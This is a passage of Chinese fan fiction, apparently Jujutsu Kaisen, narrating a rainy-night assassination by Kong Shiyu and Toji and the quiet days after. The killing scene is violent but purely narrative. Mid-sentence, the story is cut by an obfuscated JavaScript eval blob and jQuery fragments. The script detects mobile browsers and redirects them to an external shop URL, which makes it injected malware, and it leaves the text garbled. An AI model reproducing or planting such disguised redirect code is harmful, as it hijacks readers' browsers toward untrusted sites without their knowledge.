雨从周四开始下，到周六没停过。预报说梅雨前线赖在关东上空，一时半会儿不走。孔时雨对这个没意见。这样的天，人人都急着回家，谁也不看谁。
六点半出的门。去的路上过高架，桥底下积了水，轮子碾过去一声接一声。车里，雨刷一下一下。
路上解决的晚饭，便利店的饭团，一人两个。甚尔吃完，把包装纸捏成一团，塞进门边的置物格。
暖气没开，玻璃上蒙了层薄雾。孔时雨降下一指宽的车窗，雨声立刻大了一圈。
简报开到一半。路线，出口，成濑的位置，都是讲过一百遍的格式。后座的成濑闭着眼，帽子扣在脸上，呼吸放得很慢，像睡着了，也可能真睡着了。
“十点前后回来。每个礼拜六都一样，下雨也一样。”孔时雨说，“楼下卷帘门锁死的，走后头小门，老门锁。上去右手第二间。”
雨刷一下一下。
“这单你来。楼道的灯坏了半个月，没人修，摸黑上。用你自己那把家伙，别的不带。”
顿了顿。
“他手上有点东西。咒力还行，够那么一招半式，不多。别给他抬手的工夫。”
卷宗递过去的时候，孔时雨的手多停了一下。
等你小学毕业再说。
当年用来敷衍小孩的一句话。小学早毕业了。初一没人提，初二也没人提，如今初三。
甚尔接过去。卷宗薄薄几页纸。作息，路线，一张脸——五十来岁，塌眼皮，照片是在马路对面拍的，人在伞底下露出半边。他一页一页看完，合上，搁在腿上。
“……好。”
后座没动静。
之后的十几分钟，副驾那边一句话没有。甚尔看着窗外，跟平时等红灯一个坐相。
目标独居。道上的账，欠了有年头，年初就该清的，拖到了梅雨。想收的不是没有过，没成过。哪边的账、欠的什么，卷宗里没有，孔时雨也没讲。干后头的活的，讲了不会多什么，不讲也不会少什么。
车停在两条街外一个投币停车场。雨把路面的灯全泡开了，红色绿色，一摊一摊淌在沥青上。
成濑下车前把帽檐压了压，抖开塑料伞。
“外头归我。”
一句话。人往雨里一走，两步就跟街上那些赶路的分不出来了。
——
走过去两条街，伞面上全是噼里啪啦的声音。路过一家便利店，收银台前站着个湿透的上班族，在等冒着热气的关东煮。巷子口的自动贩卖机亮着，蓝光淋在雨里。
两层的老铺面楼房，一楼卷帘门拉死，锈出一道一道的锈斑，二楼一扇窗黑着。后楼梯很窄，木头楼梯，踩边上不响。二楼过道尽头堆着几个纸箱，潮得发了软。
八点四十进的门。老门锁，没费事。
里屋门框上贴过一张纸，纸边都酥了，卷卷的翘起来。咒符，上头那点东西早没气了。
之后是等。
二楼这间屋子不大。榻榻米旧了，边上翻着毛。矮桌上一只烟灰缸堆到冒尖、像个刺猬，一份翻开的赛马报用茶杯压着。墙上的挂历还翻在五月。厨房那头，冰箱响一阵，停一阵。
电视留着没关。出门留着电视，独居的人防贼的老法子。声音拧到不大不小，深夜档的通贩节目，一个女人举着一口平底锅对镜头笑，光一跳一跳打在墙上。
孔时雨站在窗侧，帘子拉了一半，从缝里能看见楼下那条巷子口。甚尔在门后，一身黑，那把短刀在手里，垂着。
雨点打在屋檐的铁皮上，密一阵，疏一阵。雨大起来的时候，铁皮上的声音连成一片。小下去，又能听见楼下排水沟的响声。巷口那家居酒屋的红灯笼九点半灭了。有人骑车过去，链条响了一路。对面楼上一扇窗亮了一阵子，又黑了。
九点多，一把塑料伞从巷口过了一趟，没停。成濑在外头走场。
节目换了一轮，还是通贩。
一个多小时，甚尔换过一次重心，就那么一次。别的时候，他跟门后那道柜子的影子长在一起。屋里听不见他的呼吸。孔时雨知道他在，是因为知道他在。中途朝那边看过两回。第一回，影子里看不出轮廓。第二回也是。
站到十点，小腿开始发木。他挪了半只脚的位置。窗缝里灌进来的风带着水汽，凉嗖嗖的。
十点过十分，帘缝里，一把黑伞从巷口进来，走到楼底下收起来了。
伞在门口抖了两下，小门开了又关，插销落回去的声音。上楼梯，一步一步，不快不慢。走自家楼梯，脚步踏的很实。
门开了。
人进来两步，带进一股雨水气和烟味，手在墙上摸开关。
摸到一半，那只手停了。
人朝窗户这边偏过来。孔时雨看见有点东西从那身湿衣服底下往上聚，很快——
聚到一半，散了。
短刀已经进去了。锁骨底下，往里。就一下。
孔时雨想起他在游戏机前面教翔太，“锁骨底下，往里，就一下。”
没有声音。或许有，雨把它吃了。
人低低的倒下去，甚尔顺着那个势头把他放在地上，跟放一件搬到了地方的家具一样。那张脸最后朝着的是窗户这边。
电视里那个女人还在笑。
血出来了，慢慢在地板上摊开。流在电视的光里，黑的。
孔时雨没看第二眼，眼睛落在甚尔身上。
——
甚尔站着。手松松的垂着。
刀上的东西，他在那人衣角上抹了一下，刀收回后腰。做这个的时候他回过头来。
“行了。”
前后没到十分钟，楼下小门响了一声，楼梯上有脚步，成濑上来了。进门扫了一圈，目光在地上停了停。
“利索。”
说完就开始干自己那份。他蹲下去之前先把袖口撸上去。打开包，把塑料布抖开铺平，东西一样一样往外拿，码得有数，伸手就到，跟卸货一样。动作不快，一步是一步，像拆一台旧机器。他顺手把电视关了。屋里一下子只剩雨声，和塑料布窸窸窣窣的响。
孔时雨摸烟。手到兜口，又拿出来了。现场少留一样是一样。
他站在窗边，看成濑干活。看甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738739|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尔退到门口给成濑腾地方，站的位置正好，又能看见楼梯，又不挡道。
走的时候，甚尔手上那副手套染着外头那层黑的，剥下来，进了成濑的包。楼道还是黑的，三个人下楼，没人开手电。
——
回程的车上没人说话。
雨刷打了一路。国道上大车一辆接一辆，水雾扬起来，红色尾灯在里头晕成一团一团。过收费站，孔时雨摇窗递钱，收费员说了句雨天慢行，他说了声谢谢。窗摇上，雨声又被关在外头。
到川崎，成濑下车，叩了两下车窗，“改天喝一杯。”车走了。
剩下的路，副驾那边没动静。甚尔看着窗外，雨里的灯一盏一盏往后退。进了大田区，街上没什么人了，路口的行人灯自顾自变红变绿。
——
到家十一点多。
楼道的声控灯应声亮了又灭。孔时雨开门，屋里一股白天剩下的饭菜味。玄关，甚尔的鞋踢得一只朝东一只朝西——他想起来时候摆鞋，想不起来不摆。书包在沙发角上躺着，周五扔下的姿势没动过。
甚尔先去洗澡。水声响了一阵，停了，浴室的雾气涌出来，混着香皂味。人走出来，头发滴着水。孔时雨把毛巾扔过去，他接住，在头发上揉了两下。手上什么都没有，一道新的白印子都没有。
“睡了。”
“好。”
门关上了。几分钟后，门缝底下那条光灭了。
孔时雨把玄关的灯关了，也去睡觉。
第二天是周日。雨小了些，没停，檐口滴滴答答。上午洗衣机转了两轮，衣服晾在外廊，雨天不干，也滴滴答答。楼下有小孩踩水洼的声音过去，一路笑。孔时雨下楼买烟，便利店门口的旗子被雨打得贴在杆上，回来时多拎了一盒牛奶。
甚尔起来得跟平时一样，九点多，头发压得一边翘着。午饭白饭添了一碗，青椒照旧拨到一边，末了又一块一块清掉。话照旧短，“嗯”，“不了”。下午客厅里游戏机的电子音响了一下午，中间出来倒过一次麦茶。
晚饭是回锅的咖喱。两个人对着电视吃，NHK在放大河剧重播，谁也没换台。
孔时雨把能看的都看了一遍。手，饭量，说话，坐相，睡起来的脸。
没有。
——
周日夜里，孔时雨起来喝水。
厨房的水龙头拧到最小，还是有声。窗外的雨也还有声，比白天密。
过道里他站了一下。老姿势，听听门。
门缝底下没有光。
他把门推开一条缝。
窗帘没拉严，路灯在昏暗的屋里进来一指宽。呼吸很慢，很沉。睡得跟摁了开关似的，比平时还沉。
他站了一会儿，把门带上了。
玄关外的外廊上点了根烟，打火机在雨声里嚓地一响。雨顺着栏杆往下淌，晾着的衣服在风里贴到一起。楼下的路面在灯里亮着。对面楼有一扇窗还亮着，闪着蓝光，谁家的电视没关。一辆车开过去，水声长长的拖着，过了很久才没。
抽了半根烟。雨没有要停的意思，明天还得下。